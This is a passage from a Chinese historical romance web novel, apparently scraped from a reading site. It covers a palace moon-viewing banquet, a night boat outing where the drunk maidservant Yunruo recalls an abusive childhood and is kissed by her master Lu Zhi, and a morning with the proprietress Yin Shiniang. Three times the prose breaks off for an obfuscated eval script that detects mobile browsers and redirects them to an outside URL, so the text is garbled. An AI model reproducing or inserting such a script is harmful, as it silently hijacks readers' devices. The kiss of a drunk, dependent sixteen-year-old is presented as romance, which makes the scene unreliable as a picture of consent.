进了宫,人愈发多了起来,云若自然噤了声,规规矩矩跟在陆执身后。 宴会是在揽月阁,此处是依附皇宫中最高的地势所建的阁楼,中空环绕,皓月当空时,坐在阁楼内就能看见满满一轮月在头顶,实在是赏月佳地。 在太监的引路下,云若随着陆执进了揽月阁。从外面看,揽月阁巍峨屹立,宛若一朵盛开于天地间的金莲,进来后更是令人惊叹不愧是皇家阁楼。 楼阁的支柱皆为珍贵的乌木所制,其上雕刻着栩栩如生的龙凤呈祥图案,庭中一棵高大的桂树枝干已蔓延到五六层阁楼,在这之下观月,这课桂树仿若种在月宫一般,此时再来一位抱着玉兔的仙女,那岂不是让人如若身处月宫? 陆执的座位在阁楼二层,公主下首之处,陆执上了二层就遣退了太监,没有往公主给他安排的位置去,而是环顾一周,在人群中看到了熟悉的面孔,朝着那不打眼的地方走去。 陆执寻到人的时候,云若也看到了那人,是徐公子。 徐舒柏正和另一个公子推杯换盏,回首之间,发现自己身边多了四个大活人,把他吓得够呛。 云若贴心递上帕子,徐舒柏道着谢接过来擦身上的酒渍,嘴上埋怨:“怎么来了也不吭声,吓我一跳。” 陆执展开折扇轻摇,故作深沉只说半句话:“不做亏心事。” 今日陆执穿的是云若特地搭的一身藏蓝色锦袍,尽显沉稳大气,同色系的腰封勒出劲瘦外披月白色轻纱,走动时朦胧飘逸,下摆的金色云纹若隐若现,低调又不失华贵。墨发用款式简单的玉冠高束,腰间配香囊,手持一把折扇,扇面是他自题自画的月夜图,很是衬景。 听她如此说,陆执问:“怎么不穿那身月白色的,岂不更应景。” 云若摇摇头,一本正经道:“不可,若是世子穿上月白色的,那您今天岂不是整场宴会最耀眼的,那谁还去赏月?依奴婢看,您穿这身正好,掩藏一点您光辉,月亮一年就赏这一次,您今日就别无意间抢了它风头。” 她这一席话把左行右安都惹笑了。这云若真是越来越会说话了,把他们主子钓成翘嘴了都。 陆执欣然接受了她的奉承。 这会儿他轻摇薄扇,淡淡檀香萦绕,真真是陌上人如玉。 徐舒柏擦完要把帕子递回给云若,陆执用扇子挡开:“你都用脏了,丢了吧,镇国公府不缺几张帕子。” 世子都这么说了,云若只能收回手,不过她的手还是碰了一下帕子,淡淡的酒香缠绕在她指间。 她偷偷抬起手来闻了闻,酒香混着桂花香,清甜勾人,她都有点想尝尝这酒是什么味道了。 徐舒柏看着陆执这张嘴脸,觉得有些欠欠的,他想不明白:“什么风把陆世子吹来了?以往这种无趣的宴会哪能请得动你?” 不过当徐舒柏眼神扫到他身后掩饰不住兴奋的人时,心中已然有数。 “总不至于年年都这么无趣,今年来看看,有没有进步。”陆执给自己斟了一杯酒,浅尝辄止。 “既然要看,怎么不去昭平特地给你准备的绝佳观赏席位,要到我这流放之地来。” 说曹操曹操到,这边徐舒柏话音刚落,云若就瞧见一个穿金戴银的娇俏小姑娘小跑着往他们这边来了。 她一路过来,两旁的人都驻足行礼,给她请安,宫女跟在她身后,生怕她跌了。 小姑娘并不搭理,跑到陆执面前,满脸惊喜:“月淮姐姐说哥哥不来了,我正伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昭平还要可是,陆执打断她:“昭平你回去和你月淮姐姐她们玩吧,你难得能和她们说些闺房话,我和你舒柏哥哥就在此处饮饮酒,说些正事。” 昭平不相信和徐舒柏能有什么正事可聊,但陆执已然开口,她又不能不识趣打扰他们,只能恋恋不舍地应下离开。 对于陆执拿他当挡箭牌,徐舒柏已经习惯了,他斜靠在桌子上问陆执:“陆案首要同我这个末席商讨什么正事?” 陆执拿起酒杯酌了一口:“要我说茶是君子台的好喝,这君子台的酒也是不输别处的。” 听世子这么说,云若心里感叹,没想到这君子台还卖酒。 徐舒柏勾唇一笑:“那是自然。” 陆执举杯建议:“过会儿不如一起溜了,去君子台坐坐?你不是每年都要去?” 徐舒柏举杯相碰:“正有此意。” 本来对赏月宴兴致高昂的云若听到这话,又开始期待起去君子台了,没想到世子说的下次,这么快就来了。 上次去是白日里,不知道夜间的君子台又是何番景象。 不一会儿,明月高悬,宴会气氛高涨,在昭平的带头下,玩起了击鼓传花,传到谁那里,就有谁做一首应时应景的诗,做不出来的或者是做得不好的,不管喝酒舞剑还是别的什么自己选,总归是不能让大家扫了兴。 云若看着在座的公子小姐几乎都能出口成章,平仄押韵,觉得大家都好生厉害。 丝竹弦乐,擂鼓阵阵,觥筹交错,吟诗作对,袖翻剑舞,像极了云若在书上才能看到的场景。 未来这场赏月宴前,她贫乏的想象让这些纸上的这些词语只是死板的描述,现下她好像有些知晓了何谓天上人间。 趁着大家都沉醉其中的时候,云若跟着世子他们偷偷溜走了。 25. 夜泊 上次来君子台算得上仓促,这次云若才发现其间别有洞天。 原来这君子台是依护城河而建。四幢楼环顾,护城河贯穿其中,两幢隔河相望的楼之间还架了桥。 笼共五层楼,除了第三层,其余每层中间都架了一座桥,每座桥各有特色。 第三层之间搭的是一个戏台,凌空而建,就叫凌空戏梦。若是雅间里的客官想看戏了,推开门窗就是,俯仰之间,皆有其滋味。 可以说君子台这规模之大,完全不是一个普通茶楼能比拟的。 对了,如若客官有需要,夜晚还可乘坐君子台供应的小船泛舟河上,那又是另一番雅兴了。 陆执叫了几坛好酒,本来想邀请徐舒柏共饮,谁知道那小子一来就跟他们分道扬镳,自己寻乐去了。 云若看他一口气爬上了五楼,不知道绕到哪里去了。 云若看那处地方并不是他之前订的那个雅间,她问陆执:“世子,他又去找听雪姑娘了吗?” 陆执把一坛酒放进她的怀里,云若连忙抱住。 “非也,他另寻佳人去了。” 云若一听,心里默默给徐公子又扣上了一顶花心的帽子。 嫌在房间里喝酒太过无趣,陆执又包了两条小船。 陆执和云若一条,左行和右安一条。 船上有个小篷,篷上轻纱笼罩,看上去有几分朦胧旖旎。 云若把轻纱拉开用丝带系住,看到篷里有一张矮桌,矮桌上面有一套茶具,用来喝酒也合适。 云若把抱着的酒放在桌上,就已经把桌子占去了大半,陆执拎了两坛放在船头。 云若看着这三大坛酒,怀疑她和世子能否喝完。 另一条船上,左行和右安已经准备好,船夫轻摇桨,河水荡漾开来,推着船身晃悠悠缓缓前行。 左行站在船头和还在原地的两人招手。 云若挥手回应。 陆执坐好后,提醒她站稳了,云若听话地把住篷顶,他同船夫下令,他们的船也动了起来。 云若的船很快和左行他们齐头,四人泛至河中心便停下了。 第三条船跟了上来,两个船夫被船载走了。 云若刚要问船夫去哪儿,陆执边开酒边同她解释:“待会儿我们自己划回去,这也是夜泊的乐趣之一。” 她听了也觉得有趣,但是这样她就只能浅尝一点,可不能喝醉了,不然她就不能把世子载回去了。 但她又一想,自己好像没划过船。 “世子,可奴婢不会划船。” 陆执倒了两杯,放了一杯在她面前。 “无妨,不会的话,今夜就宿在这小船上也不是不可。” 这船?云若看这船世子一个人躺着都拘束,她哪儿有地睡,再说了现在不觉得凉,等在晚些时候更深露重的,很容易着凉的。 “要不奴婢还是现在把船夫唤回来吧。” 说着,她深吸一口气打算把还未走远的船夫叫回来,陆执端着一杯酒放在了她唇边。 “放心饮酒就是了,不会让你露宿野外的。” 既然如此,云若就暂时不操心了。淡淡的酒香早就飘在她鼻腔,她从世子手上端过酒,看着里面澄亮的水液映出半轮月亮,很想尝尝。 左行和右安隔空敬了陆执和云若一杯,陆执和云若也回敬,然后各自和对面的人碰了杯。 云若见三人皆是仰头一口闷完,她也学着一口饮下。 起初没尝着味,当冰凉的酒液滑过她喉咙的时候,她只觉得瞬间变得灼热。 云若一张脸都皱了起来,慌忙把酒杯放下,下意识张开口吐着舌,轻哈着气。 “这酒……”云若连话都说不全乎了,陆执给她倒了杯茶,她赶紧饮下,然后又伸手要了一杯。 连饮三杯,辛辣的刺激感才缓和了些。 云若再抬眼,对面的人笑吟吟地看着她狼狈的样子。 她这下动静不小,左行他们也看到了,笑她:“云若,原来你不能喝酒啊。我刚看你这么豪迈,还以为你定是酒量不浅。” 陆执看她的脸通红,不知道是被酒辣的还是羞的。 云若悻悻把杯子放下,有些不好意思:“我闻着香,看你们像茶水一样喝,还以为很好喝……” “不怪你,世子喜欢喝烈酒,你尝尝我们这个,这个是甜的,你应该会喜欢。” 说着,右安从桌上拿了一小坛酒,递给她。 船身一阵轻微摇晃,云若倾身接了过来。 她打开封布,依旧是一阵好闻的酒香混着果香,一股子清甜味。 她这次学乖了,只给自己倒了半杯,然后浅浅抿了一口,果真入口甘甜,像梅子的味道。 她欣喜抬头,见三个人都注视着她,她赶紧给出结论:“好喝。” “好喝就成,那坛就是你的了,来,我们敬世子一个!” 左行提杯,云若给自己斟满,和世子碰杯,一饮而尽。 看她喝这么猛,陆执出声劝她:“还是喝慢点,这酒虽然甘甜,但后劲大,你第一次喝酒,不知道酒量如何,别喝太猛了。” 云若不知道什么是后劲,但世子这么说了,肯定有他的道理,她点头答应,之后的酒都是小口小口酌的。 四个人就这么你一杯我一杯的喝着,没有闲聊谈乐,听着从君子台传来的唱曲声,忽远忽近,忽大忽小,享受着这秋夜的静谧。 因着才将中秋,这几日有不少百姓放花灯祈福,这会儿顺着护城河流动,到了君子台这处。 夜色沉沉,缓缓而来的花灯划开河面倒映的圆月,如繁星般点缀其中。 渐渐地,花灯将船身围了一圈,暖黄的光晕着,随着河水波浪摇晃。 云若趴在船头看灯,一盏一直被水波拍着撞上船身,几番周折,终究是不能逃离,几乎快要覆灭,她拨开水面,掬一捧水将它推开了。 一阵风吹过,它被水波裹挟着往前方去了。 云若收回手,下颌搭在手上。 烛火摇曳,映得水面波光粼粼的。 她喃喃道:“好漂亮。” 凉意自手腕间蔓延开来,她抬起胳膊一看,整个衣袖湿漉漉的,往下滴着水。 衣袖打湿了。 云若突然想起小时候,她还是家里最小的孩子,整个家里只有三姐疼她。 她还未懂事的时候,不知道为何祖母总是咒骂她们,还总说让她们死了算了,母亲经常唉声叹气,而父亲,父亲她没什么印象了,在她记忆里,父亲好像从未说过话。 云若害怕祖母生气,祖母一生气就会不给她饭吃,她讨厌饿肚子。她想让祖母像喜欢隔壁家的小孩一样喜欢自己,她很听话了,很早就帮着三姐一起干活了,可是祖母还是不喜欢她。 她记得有一次隔壁的小哥哥招呼着几个小孩一起去山上摘野果,她知道那野果是祖母和父亲最爱吃的,于是她也跟着去了。 她摘了好大一堆,用衣裳都兜不住了,她想着这次祖母应该会夸夸她了,她雀跃地跑着回家。 走过一条小溪的时候,她看到自己的衣裳脏了,于是在溪边把脏的地方搓干净了,又把果子洗得干干净净,这才踩着夕阳的余晖回了家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187811|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一进门,看到三姐正在添饭,她像蝴蝶似的飞到三姐旁边,蹭了蹭她的腿,甜甜叫她:“三姐!” 三姐笑着应了声,正要让她赶紧洗手吃饭,却不料祖母一巴掌震得桌子脚晃。 “臭丫头不知道一天天在外面野什么!我们几个大人都在干活,你个白眼狼还不知道帮忙做做饭,我回来的时候都快饿死了。一天天尽知道玩,看你这身弄的,这可是你最后一件衣裳,要是弄坏了,你就光着吧,看你还怎么出去。”林老妇一看她浑身湿漉漉的,认为她又跑到哪里野去了,当即冒上一口无名怒气。 她一下撇了嘴,她还没有灶台高,搭上凳子也不够,不是她不帮忙。这话她不敢说,她知道自己说了祖母只会骂得更厉害。 她把自己的衣袖往身后掩了掩,把一直兜在怀里的东西亮给祖母看。 “祖母,我没有乱跑,我和他们上山捡果子去了,你和爹爹不是最爱吃了吗?” 闻言,祖母脸一僵,“你是脓包吗!现在这个季节果子还涩,不好吃,你现在摘了,以后吃什么?真是白吃饭不长脑子!” 那时候的她不懂这些,她只不过想做点事让祖母不要那么讨厌自己,没想到反而让她更生气了。 她心里好难过,为什么祖母对别人急的孩子都能笑颜相待,为什么对她们就这么凶呢? 她正失落时,三姐接过她手里的果子,笑着替她说话:“没事,这个可以混到牛食里,明儿我拿去喂牛,这样牛也可以多吃一顿了。” “人吃的拿给牛吃像什么话,放几天和上糠面做成干粮不就能吃好几顿了!” 连带着三姐也被骂了,她心里更加难受了,她心里暗暗发誓,日后一定要对三姐好。 可是她和三姐都没有等到那个日后,很突然的一天,三姐被人匆匆接走,邻家的婆婆说姐姐是嫁人了,她不知道嫁人是什么,她只知道打那后她再也没见过三姐。 后来她有了妹妹,她成了四姐,她也像三姐疼爱她一样疼爱五妹。 还有一件重要的事,曾经想要日后对三姐好的她,现今好像已经记不清三姐的面容了。 每次看到五妹的时候,她总觉得三姐好像也是这般模样。 再后来,她有了弟弟,她终于在祖母脸上看到了她渴望已久的笑脸。 弟弟一来,就穿上了新衣服。 云若抱着自己湿重的衣袖,一时之间不知道自己身在何处,她好像出现了幻觉,黑夜中有一双浑浊的眼睛瞪着她,下一瞬就要破口大骂。 她无助道:“遭了,衣袖又打湿了。” 她还沉浸在自己的情绪中,一道声音传来,如清泉坠入山谷。 “云若。” 好像有人在叫自己。可是她不是叫林四娘吗? 她懵然环顾,就见一个男人坐在离她不远的地方,微蹙着眉。 见她纹丝未动,他朝她招了招手,说:“云若,过来。” 她这会儿想起来了,她现在叫云若,眼前这人是她的主子,他在叫自己。 她乖乖坐到他身边。 只见世子拎起她还在滴水的衣袖,两只骨节分明的手把它们叠起来,然后抓住反向一扭,衣袖的水被拧了出来。 一直拧到拧不出水来,世子才松手,替她把袖子整理好,看向她。 “好了,现在不湿了。” 世子的身影逐渐模糊,她努力睁大眼睛,想要看清眼前的人。 温热抚过她的眼睑,朦胧褪去,眼前的人清晰可见。 他还是蹙着眉,轻声问她。 “好好的,怎么哭了?” 26. 月下 河水荡漾,没人掌舵的两条小船逐渐失了方向,慢慢分散开来。 陆执一直注意着趴着船头的人,生怕她一不留神就跌进河里去了。 听到她玩水的声音,陆执就想,果真是醉了。 看着桌子上已经见了底的两个小坛子,想她酒量还不错。 喝醉了就自己待在一边,有什么玩什么,不哭不闹,酒后品相还挺好。 刚这么想着,就见那边的小醉鬼开始自言自语了。 起初他还没听清她在呢喃什么,后来她突然坐起来,看着自己的衣袖,怅然若失。 陆执放下酒杯,看她摇摇晃晃的,随时准备着过去接她。 不知道想到了什么,她开始絮絮叨叨。 “祖母为什么不喜欢我?难道就因为我是女孩吗?还因为弟弟闯祸,卖了我还债!最讨厌祖母了!” “弟弟明明一点都不乖,明明是他打碎了盐罐,还污蔑是我!” “三姐……三姐,你为什么说和五妹长得一样……三姐,我不想嫁给那个老鳏夫……” 寥寥几句话,陆执已经能够窥见,她生于怎样的一个家庭,曾经过着多么辛苦的日子。 “我也想穿新衣服……” 说到新衣服,她又举起自己的袖子,哀然道:“衣袖湿了,祖母又要骂我了。” 陆执看她醉得有点厉害了,想过去把她拉回来,他刚一动,她像看见什么恐怖的东西,往后挪了一下,陆执连出声叫她。 她顿住了,有些迷茫,陆执不敢乱动,又叫了她两声,试图让她清醒点。 只听她嘟囔道:“云若是谁?我明明叫四娘,林四娘……” “你是四娘,也是云若。” 他这么回她,见她眼神清明了几分,他又唤了她一声。 她终于应了他。 陆执让她过来,她膝行到他身边,端正跪坐在他面前。 他给她拧干了衣袖上的水,再看她时,她眼里氤氲着泪水。 她努力睁大眼睛,似乎不想让泪水滴落。 身上没有手帕,陆执只能抬手为她拭去眼泪。 他想知道她为什么哭。 她整个人都微微颤抖,抽噎半天,才说出一句:“世子,这是我十六年来,最开心的一天。” 可是她的眼里很悲情。 “既然是开心的,为什么哭了呢?” 云若摇头说:“我不知道。” 陆执抬起她低下的头,问她:“那笑一个好不好?” 她抬眸看向他,眉眼弯弯,嘴角轻轻上扬,梨涡浅浅。 碎星灯火在她眼中莹莹发亮,她的眼睛,比这满天星辰还美丽。 手拉动丝带,轻纱如丝绸般滑落,隔绝外面的星光,船内只有这一颗星辰。 “唔。” 他倾身低头含住她的唇瓣。 少不更事的小姑娘唇还闭着,陆执并不急,他一圈圈轻柔地描绘她的唇,他在她唇畔徘徊着,试图攻城略池。 陆执炙热的气息喷洒在她脸上,阵阵酥麻撩拨她的心弦,她紧张得牙关打颤,唇闭得愈发紧了。 陆执退开,看着她水润的红唇,喉结上下滚动。 他指腹摩挲她湿润的唇,将那湿意抹开,看着她的唇瓣因他的动作变得嫣红。 他哑着嗓音,道:“四娘,张嘴。” 云若好像已经不能思考,她微微张开嘴,虔诚地望着他。 男人粗厚湿热的舌滑了进来,找到她的,纠缠起来。 她的嘴里还有着酒的清甜,让他着迷,上瘾,他忍不住攫取、品尝。 这个吻逐渐变得缠绵。 四娘。 多么亲切又陌生的称呼。 过去种种,她并没有觉得不堪。 姓名是存在过的证明,虽然林四娘是个很普通的名字,因为她是家里第四个孩子,所以叫四娘,但只有被唤林四娘的时候,她才觉得那是自己。 从离开家以来,再也没人唤过她的名字。霓裳阁是按入阁的顺序叫的编号,到了镇国公府,她就是云若,她有时候会恍惚,她前十六年的人生是真实的吗? 曾经真的有林四娘这个人存在吗? 看来她真的醉了,怎么能在世子面前说这些话呢? 她什么身份,世子又是身份。 明明她早已不是四娘了,可为什么还会留下了泪呢? 泪水顺着她的脸颊落到了她的嘴角,被他搅了进来。 淡淡的咸意在两人唇舌之间晕开。 陆执松开她的唇,温柔舔舐她的泪痕。 他亲吻她的眉眼,温声道:“四娘,别哭。” 莫名的情愫涌上心头,她的泪水如断线的珠子般落了下来。 怎么越哄哭得越厉害。 陆执一声无奈的叹息。他搂住她的腰,让她紧紧贴着他,他吮吸着加重这个吻,让她不再为别的分神。 他要她整个身心,都只容得下他一个人。 她抓着他胸前的衣襟,快要喘不过气来,他松开她,只让她喘了一息又将她堵住。 他勾缠着她,让她承受他的肆虐,发出破碎的嘤咽。 这样的感觉很舒服,但与平日的舒服不同,这种喜悦是从内心深处生发的,盈满了她的整个心间,让她饱胀、心悸,快要昏厥。 她觉得脑袋越来越重,她已经快不会呼吸了。 陆执在她快要昏过去的前一刻松开了她,甫一接触到空气,她便大口呼吸。 陆执捏着她的下颌,蜻蜓点水般轻啄她还微张着的唇瓣,一下又一下,缱绻,亲昵。 云若现在浑身发软,她连手指蜷缩都做不到,整个人的力气像是随着刚才的亲吻被人吸走了。 她攀着陆执,人却在往下滑,陆执把人拎起来,像抱孩子般把她搂在怀里。 这个姿势她不舒服,她动来动去,想寻一个舒服的地方趴着,却被人掐着腰警告。 “别乱动。” 好吧。 她任由陆执把她摆弄到一个稍微舒服点的姿势,然后勾着他的脖子,靠在他宽厚温暖的胸膛上。 她隔着衣裳感受到了他生命的跳动。 震得她跟着起伏,她手滑落至那处,用手按压。 陆执下颌抵着她的头,问她:“怎么了?” 她像幼儿一般新奇:“它在动,还有声音。”云若靠贴上去,“好响。” “嗯,因为它在跳动。” “为什么会跳?” 怎么跟一个醉鬼解释呢? 他在她耳边低喃:“因为你。” 云若听了,双手抵着他的胸膛,发出惊叹声:“好神奇!我这么厉害?” “对。”陆执把她的脑袋按进自己怀里,“你很厉害。” 她又嘟囔了几句什么,陆执低头去听的时候,只听到怀里传来轻浅的鼾声。 怎么会这么乖。 船身水位线下移起伏,左行隔着轻纱,看起来云若像是被世子抱在怀里,他关心到:“这是喝醉了?” 陆执嗯了一声:“右安,你先去找十三娘,要间上房。左行你来划。” 顿了下,他又补充道:“划稳点。” 两人应是,右安先靠了岸,小跑着去了五楼,回忆着早先徐公子去的房间,瞧着里头还灯火通明,这才大着胆子敲了门。 “谁啊?” 右安在门外恭敬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194425|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“殷掌柜,我们主子想同您讨一间上房。” 听到里面一阵窸窣,接着是轻慢的脚步声。 房门打开,一晃而过的香肩被红纱遮住,但右安还是不经意间瞥见了她肩头的红痕,他低垂着头,耳根泛红。 “陆世子要在我这留宿,真是蓬荜生辉啊。” 女子往他身后探望,没见着人。 “陆世子人呢?” 右安回她:“还在后面,这才派小的先来请殷掌柜行个方便。” 女人像是想到什么似的,意味深长道:“不是世子一个人睡吧?” 想着殷掌柜可能误会了,右安解释道:“不是,是有人喝醉了……” “嘘。”女人打断他,“让我猜猜,是个女人吗?” 右安点头。 女人轻笑:“那奴家明白该给陆世子安排什么房间了,跟我来吧。” 女人走出房间,把门关上,虽然右安一直在努力不乱看,但是他还是瞟到了地上散落了一地的衣裳,显然就是今日徐公子穿的那身。 右安忙在心里默念非礼勿视。 小船晃悠半天,终于靠了岸。 左行把船绑好,回过来掀开薄纱,就见云若只露个后脑在外面,整张脸都埋进了世子的胸膛。 陆执手揽过她的腿,把人抱了起来。 云若虽然肉肉的,但对陆执来说,还是太轻巧了。 上了楼,远远看见右安迎了过来。 “世子这边。” 右安给他领路,他抱着人进了一间门大敞开的房间。 殷十三娘正坐在房间里喝着酒。 看陆执把人抱着来的,忍不住打趣:“上次就听雪儿说,你也终究难抵红尘诱惑,看来她没骗我。” 陆执轻笑不语,抱着人往床上去,给她脱了鞋袜,拉过被子给她盖好。 他坐在床边,看着那边还在饮酒的人,想着本不该管这个闲事,但想着那个平日里吊儿郎当,但唯独在她身上正经痴情的人,还是忍不住问到:“你和他……” “陆公子,我只打趣了你一句,你倒不必如此报复我。” 虽然两个人已经纠缠七年了,但感情是两个人之间的事,是他多嘴了。 陆执不再问,人要离开,他还是开了口。 “徐舒柏,他看起来混不吝,但他是最执着的,他想要的,他一定会拼了命去争取。他不是一个把感情当儿戏的人。要是十三娘……” 话还没说完,就被打断:“陆公子,感情这事,不是局外人能说清道明的,你是读书人,应该比我更懂得这个道理。况且你自己也才刚开窍,就不要再试图开导我了。毕竟,这方面的经验,我比你们两个小鬼加起来还多,不是吗?” 话已至此,看来徐舒柏那小子还有他苦头吃的。慢慢磨吧,看两个人谁能耗得过谁。 “十三娘……” 殷十三娘以为他还要劝,有些怒了,回眸瞪他:“他是你兄弟不错,但我们俩之间的事还轮不到你插手!你要是真担心他,何不劝劝他,让他别三天两头往我这来!他自己又不是无家可归,我这又不是客栈!” 她今儿个心里也是憋了口气,想他非要出这个头,那就让她出口气。 陆执静静听她凶完,才继续道:“我是想问你,能不能给我准备一碗解酒茶。” 殷十三娘一愣,忍不住翻了个白眼。 和那死人一样烦人,她干嘛好奇他这个小红颜,巴巴过来给自己找不痛快! 她没好气关上门,也没说准不准备。 人出去了,现下房间里一下子安静了下来,看她睡得还算舒服,陆执伸手轻抚她的脸颊,眸色深沉,不知道在想什么。 27. 殷掌柜 天光乍亮,红帐暖香。 云若一睁眼,就看到床边坐了个一身红裳的女子,她低头看见自己外衫已被人褪去,里头的衣衫也不齐整,有些凌乱。 许是察觉到她醒了,女人忽地转过身来,远黛般的眉梢上挑,笑道:“哟,醒了?” 云若被眼前的人美得有点愣神。 她的肌肤是云若见过的京城女子中少有的麦色,双眸潋滟,媚眼如丝,点绛朱唇,妩媚却又有几分英气,乌发低绾在脑后盘成一个圆髻,发髻上簪满了金钗银花,倘若旁人戴这么一头定要被人说俗气了,可偏偏她戴起来只会让人觉得还不够,这么点珠花哪衬得出她的雍容。 美人轻笑,手中捏着的帕子扫过她的脸,并不浓郁的脂粉味扑面而来,云若回过了神。 “怎么?还醉着呢?要不要再让人给你熬碗醒酒茶?” 云若摇摇头,有点不知道该说什么:“谢谢小姐。我……我已经清醒了,就是,昨晚,这里。” 女人蓦地倾身上前凑近她,往她耳廓轻吹了一口气,云若被激得浑身颤栗,听见美人拉长音调:“昨晚的事,你不记得了?” 云若脑袋摇得跟拨浪鼓似的。 她一醒来就在努力回忆昨晚,云若只记得自己和世子在船上饮酒,看河灯,然后……然后发生了什么?她竟然一点印象都没有了,她现在这是在哪儿?君子台吗?世子居然就这么把她扔在这里不管了?她怎么对眼前这个美人一点记忆都没有?美人现在这番话更是让她云里雾里。 “昨晚姑娘喝醉了,闹得厉害,奴家照顾姑娘可辛苦了,没想到姑娘竟全然不记得了。” 美人勾着她的衣袖,眉目含情。 云若茫然抬头看她,眼里全是不可置信,她把胸前的被子拉高,仿佛这能给她点安全感。小嘴翕合半天,脸都涨红了也没憋出一句话来。 云若在心里发誓,以后再也不喝酒了。 殷十三娘瞧她像是被调戏了的小媳妇,觉得这小姑娘真好玩,心里暗骂陆执那狗东西下手倒是快。 本还想再撩拨一下这个单纯的小姑娘,一直在外候着的徐舒柏等不住了。 徐舒柏在外面唤了一声十三娘,语气是少见的正经:“人醒了没?我现在方便进来吗?” 十三娘被他打断,心里自是不痛快,收起撩人的笑,没好气冲屋外凶了一句:“不方便。” 徐舒柏淡然地哦了一声,云若倒觉得他这反应有点反常。 等再转过头来,那位被唤作十三娘的小姐又带上了笑容,对她介绍起了自己。 “方才是逗你呢,我不是什么小姐,我姓殷,单名一个灵字,不过大家都叫我十三娘,你可以随她们叫我十三娘,不介意的话,也可以唤我一声姐姐。” 云若点点头,想着之前世子说过君子台的掌柜姓殷,是个很厉害的女子,她当时想象的殷掌柜模样倒是与眼前的人重合几分,她问道:“殷姐姐,你就是君子台的掌柜吧?” 殷灵本没指望她会叫姐姐,毕竟自己看上去比她大了一轮多,若真是被她叫姐姐,她还有点不好意思,没想到小姑娘这么水灵灵叫了出来。殷灵听得浑身舒畅,点了点她小巧的鼻,夸她:“聪明。” 不知为什么,云若很喜欢殷灵。初初听到这个殷掌柜的时候,她就觉得这个女子很厉害,能凭一己之力在京城立足,还把君子台经营得如此好,现下见到了真人,又觉得她身上莫名有种力量,让人忍不住靠近,方才被她调戏的事,这会儿她全抛在脑后了。 “多谢殷姐姐昨晚的照顾,不知殷姐姐可否告知现在是什么时候了,我可能得回去伺候世子了。” 说着,云若掀开被子,要下床穿衣,殷灵拦住她。 “怎么一早起来就找那个男人?臭男人有什么好伺候的,他身边那么多人,又不缺你一个。” 云若被她推坐到床上,觉得她说的好像有几分道理。 殷灵起身,云若视线跟随,看她把屏风上的衣裳拿下来,又走到床前,把她拉起来,要给她穿衣裳。 云若一惊,忙拦住她:“殷姐姐,谢谢姐姐好意,我还是自己来吧。” 殷灵抓着她的手放在身侧,示意她别客气:“这衣裳是我给君子台的姑娘特别设计的,穿起来比你平时穿的衣服要复杂一些,还是我来帮你。” 听她这么一说,云若才注意到这衣服不是她昨天穿的那身,殷灵给她准备的是同她身上一个色系的衣裳,银白的丝线绣了栩栩如生的君子兰,简单又好看。 殷灵扯开她里衣的带子,云若里头绣着大红牡丹的肚兜漏了出来,她慌忙抱胸想把里衣拉回去。 殷灵轻笑着,拉开她的手,为她脱去里衣:“这衣裳的设计就是如此,不必穿里衣,你莫要害羞,都是女人,姐姐还能占你便宜不成。” 殷灵都这么说了,云若只能放下自己心里的一点小羞涩,任由她动作。 这衣裳的设计确实是云若没见过的,只见殷灵左搭右绕,她还没看清楚,里外就包上了三层。衣裳的料子很好,贴身穿着很舒服,衣襟绣了别致的花样,交叠起来很是好看,若是穿了里衣会显得臃肿,就没有如此效果了。 殷灵在她腰侧系了个繁杂的结,手法之快,云若都还来不及看清就已经系好了,完全融于这身衣服一点不打眼,最后给她披上轻纱,原本的玲珑有致这下若隐若现。 她这一身,全然褪去了她的稚气,让她看起来成熟了不少。 殷灵俨然很满意她这样,眼里的欣赏都快溢出来了。 看云若还有点拘束,殷灵摸着她的背,让她抬头挺胸。 “拘束什么,你这样穿可好看了,不用藏着掖着,大方点。” 云若抿嘴,学着殷灵教她的样子,努力不让自己看起来别扭。 殷灵看云若自然些了,这才带着她洗漱一番,然后给她描了个淡妆。 她正欣赏着,在外头的徐舒柏忍不住催道:“还没收拾好吗?我的小姑奶奶,时候不早了,我还得把人送回去。” 殷灵看日头也不早了,放下手里的胭脂,去开了门,没给门外人一个眼色,转身就来挽云若。 “催命似的,你是陆世子的狗腿子吗?” 饶是被殷灵这么说,徐舒柏也没一点生气迹象,只是冷着一张脸盯着殷灵,说出让云若瞠目的话:“我是谁的狗,你心里没点数?” 云若再不熟知男女之事,也能够看出两个人之间有点猫腻,徐舒柏在殷灵面前,完全是另一个样子。 殷灵见他这个没脸没皮的,一点不害臊,当着小孩的面说这些,连忙转移话头。 “女孩子出门不得打扮一番,你们这些不懂风情的男人总是扫兴。” 徐舒柏也收敛了一些他直白的视线,走到桌子旁给自己倒了杯茶:“我都等了快两个时辰了,还不够懂风情?” 殷灵只哼了一声,坐到徐舒柏对面,也给自己倒了杯茶。 云若也跟着坐下,接过殷灵递过来的茶,小声道谢,见两人暂时不吵嘴了,这才敢插话:“我家世子走了吗?”< 